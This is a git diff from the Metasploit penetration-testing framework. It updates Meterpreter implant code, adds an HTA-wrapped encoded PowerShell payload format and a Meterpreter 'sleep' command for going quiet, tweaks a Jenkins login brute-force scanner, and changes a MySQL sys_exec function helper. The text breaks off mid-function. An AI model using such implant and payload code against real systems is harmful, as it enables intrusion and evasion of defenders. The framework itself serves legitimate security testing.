diff --git a/Gemfile.lock b/Gemfile.lock index 88322f33b0..2319aa9af3 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 1.0) metasploit-model (~> 1.0) - metasploit-payloads (= 0.0.5) + metasploit-payloads (= 0.0.7) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (0.0.5) + metasploit-payloads (0.0.7) metasploit_data_models (1.0.1) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php index e2565f86d0..e3f72ee0d5 100755 --- a/data/meterpreter/ext_server_stdapi.php +++ b/data/meterpreter/ext_server_stdapi.php @@ -19,6 +19,7 @@ define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201); define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202); define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203); define("TLV_TYPE_FILE_SIZE", TLV_META_TYPE_UINT | 1204); +define("TLV_TYPE_FILE_HASH", TLV_META_TYPE_RAW | 1206); define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220); @@ -533,8 +534,7 @@ function stdapi_fs_md5($req, &$pkt) { $md5 = md5(file_get_contents($path)); } $md5 = pack("H*", $md5); - # Ghetto abuse of file name type to indicate the md5 result - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $md5)); return ERROR_SUCCESS; } } @@ -552,8 +552,7 @@ function stdapi_fs_sha1($req, &$pkt) { $sha1 = sha1(file_get_contents($path)); } $sha1 = pack("H*", $sha1); - # Ghetto abuse of file name type to indicate the sha1 result - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $sha1)); return ERROR_SUCCESS; } } diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 48b4de307a..9e487280be 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -307,6 +307,7 @@ TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 +TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206 TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 @@ -1011,7 +1012,7 @@ def stdapi_fs_md5(request, response): m = md5.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) + response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) return ERROR_SUCCESS, response @meterpreter.register_function @@ -1061,7 +1062,7 @@ def stdapi_fs_sha1(request, response): m = sha.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) + response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) return ERROR_SUCCESS, response @meterpreter.register_function diff --git a/data/templates/scripts/to_powershell.hta.template b/data/templates/scripts/to_powershell.hta.template new file mode 100644 index 0000000000..1a39b4b19e --- /dev/null +++ b/data/templates/scripts/to_powershell.hta.template @@ -0,0 +1,7 @@ + diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb index 879989e0ef..3d5f338498 100644 --- a/lib/metasploit/framework/login_scanner/jenkins.rb +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -17,6 +17,10 @@ module Metasploit self.uri = "/j_acegi_security_check" if self.uri.nil? self.method = "POST" if self.method.nil? + if self.uri[0] != '/' + self.uri = "/#{self.uri}" + end + super end @@ -37,15 +41,15 @@ module Metasploit configure_http_client(cli) cli.connect req = cli.request_cgi({ - 'method'=>'POST', - 'uri'=>'/j_acegi_security_check', + 'method'=> method, + 'uri'=> uri, 'vars_post'=> { 'j_username' => credential.public, - 'j_password'=>credential.private + 'j_password'=> credential.private } }) res = cli.send_recv(req) - if res && !res.headers['location'].include?('loginError') + if res && res.headers['location'] && !res.headers['location'].include?('loginError') result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers) else result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 96684afb8e..6842d7ab87 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -169,7 +169,7 @@ module Auxiliary::Report # @option opts [String] :user The username for the cred # @option opts [String] :pass The private part of the credential (e.g. password) def report_auth_info(opts={}) - print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!" + print_warning("*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!") return if not db raise ArgumentError.new("Missing required option :host") if opts[:host].nil? raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?) diff --git a/lib/msf/core/exploit/mysql.rb b/lib/msf/core/exploit/mysql.rb index 23a26ad7c5..52647dda7d 100644 --- a/lib/msf/core/exploit/mysql.rb +++ b/lib/msf/core/exploit/mysql.rb @@ -162,8 +162,9 @@ module Exploit::Remote::MYSQL end def mysql_drop_and_create_sys_exec(soname) - res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually - return false if res.nil? + # Just drop it. MySQL will always say "OK" anyway. + # See #5244 + mysql_query("DROP FUNCTION IF EXISTS sys_exec") res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'") return false if res.nil? diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 0731fbaca2..206433046e 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' require 'msf/core/option_container' +require 'msf/core/payload/transport_config' ### # @@ -9,6 +10,8 @@ require 'msf/core/option_container' ### module Msf::Payload::Stager + include Msf::Payload::TransportConfig + def initialize(info={}) super @@ -22,6 +25,28 @@ module Msf::Payload::Stager end + # + # Perform attempt at detecting the appropriate transport config. + # Call the determined config with passed options. + # Override this in stages/stagers to use specific transports + # + def transport_config(opts={}) + if self.refname =~ /reverse_/ + direction = 'reverse' + else + direction = 'bind' + end + + if self.refname =~ /_tcp/ + proto = 'tcp' + elsif self.refname =~ /_https/ + proto = 'https' + else + proto = 'http' + end + send("transport_config_#{direction}_#{proto}", opts) + end + # # Sets the payload type to a stager. # diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index caf7bb7703..4bc6c1fe7c 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -276,12 +276,15 @@ module Msf # @return [String] A string containing the bytes of the payload in the format selected def generate_payload if platform == "java" or arch == "java" or payload.start_with? "java/" - generate_java_payload + p = generate_java_payload + cli_print "Payload size: #{p.length} bytes" + p else raw_payload = generate_raw_payload raw_payload = add_shellcode(raw_payload) encoded_payload = encode_payload(raw_payload) encoded_payload = prepend_nops(encoded_payload) + cli_print "Payload size: #{encoded_payload.length} bytes" format_payload(encoded_payload) end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 6b068528a2..5035f3f981 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1117,6 +1117,29 @@ require 'msf/core/exe/segment_appender' method: 'reflection') end + def self.to_powershell_hta(framework, arch, code) + template_path = File.join(Msf::Config.data_directory, + "templates", + "scripts") + + powershell = Rex::Powershell::Command.cmd_psh_payload(code, + arch, + template_path, + encode_final_payload: true, + remove_comspec: true, + method: 'reflection') + + # Intialize rig and value names + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:var_shell) + rig.init_var(:var_fso) + + hash_sub = rig.to_h + hash_sub[:powershell] = powershell + + read_replace_script_template("to_powershell.hta.template", hash_sub) + end + def self.to_win32pe_vbs(framework, code, opts = {}) to_exe_vbs(to_win32pe(framework, code, opts), opts) end @@ -1928,6 +1951,8 @@ require 'msf/core/exe/segment_appender' Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts) when 'psh-cmd' Msf::Util::EXE.to_powershell_command(framework, arch, code) + when 'hta-psh' + Msf::Util::EXE.to_powershell_hta(framework, arch, code) end end @@ -1943,6 +1968,7 @@ require 'msf/core/exe/segment_appender' "exe-only", "exe-service", "exe-small", + "hta-psh", "loop-vbs", "macho", "msi", diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index ede3250504..a06a19ebca 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -8,7 +8,6 @@ class Rex::Payloads::Meterpreter::Config include Msf::ReflectiveDLLLoader - UUID_SIZE = 64 URL_SIZE = 512 UA_SIZE = 256 PROXY_HOST_SIZE = 128 @@ -48,7 +47,7 @@ private end def session_block(opts) - uuid = to_str(opts[:uuid].to_raw, UUID_SIZE) + uuid = opts[:uuid].to_raw exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] session_data = [ diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 6a67471bbe..17ee24e02d 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -340,6 +340,18 @@ class ClientCore < Extension return true end + def transport_sleep(seconds) + return false if seconds == 0 + + request = Packet.create_request('core_transport_sleep') + + # we're reusing the comms timeout setting here instead of + # creating a whole new TLV value + request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds) + client.send_request(request) + return true + end + def transport_next request = Packet.create_request('core_transport_next') client.send_request(request) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index 47a45296a6..dc09045f7b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -152,8 +152,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO response = client.send_request(request) - # This is not really a file name, but a raw hash in bytes - return response.get_tlv_value(TLV_TYPE_FILE_NAME) + # older meterpreter binaries will send FILE_NAME containing the hash + hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) || + response.get_tlv_value(TLV_TYPE_FILE_NAME) + return hash end # @@ -166,8 +168,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO response = client.send_request(request) - # This is not really a file name, but a raw hash in bytes - return response.get_tlv_value(TLV_TYPE_FILE_NAME) + # older meterpreter binaries will send FILE_NAME containing the hash + hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) || + response.get_tlv_value(TLV_TYPE_FILE_NAME) + return hash end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 58335c5c83..11c5e9e8de 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -94,6 +94,8 @@ class Config 'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME), 'Architecture' => response.get_tlv_value(TLV_TYPE_ARCHITECTURE), 'System Language' => response.get_tlv_value(TLV_TYPE_LANG_SYSTEM), + 'Domain' => response.get_tlv_value(TLV_TYPE_DOMAIN), + 'Logged On Users' => response.get_tlv_value(TLV_TYPE_LOGGED_ON_USER_COUNT) } end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 1a30b29529..048819ea3b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -30,6 +30,7 @@ TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205 +TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206 TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 @@ -112,12 +113,14 @@ TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 # Config -TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 -TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 -TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 -TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 -TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044 -TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 +TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 +TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 +TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 +TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 +TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044 +TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 +TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | 1046 +TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047 # Environment TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index f3d9b9b98a..459fb2d4bb 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -102,7 +102,7 @@ TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 -TLV_TYPE_UUID = TLV_META_TYPE_STRING | 461 +TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index b87870d765..3d78b292e3 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -86,6 +86,10 @@ class Console::CommandDispatcher::Core # Yet to implement transport hopping for other meterpreters. # Works for posix and native windows though. c["transport"] = "Change the current transport mechanism" + + # sleep functionality relies on the transport features, so only + # wire that in with the transport stuff. + c["sleep"] = "Force Meterpreter to go quiet, then re-establish session." end if (msf_loaded?) @@ -494,6 +498,45 @@ class Console::CommandDispatcher::Core end + # + # Display help for the sleep. + # + def cmd_sleep_help + print_line('Usage: sleep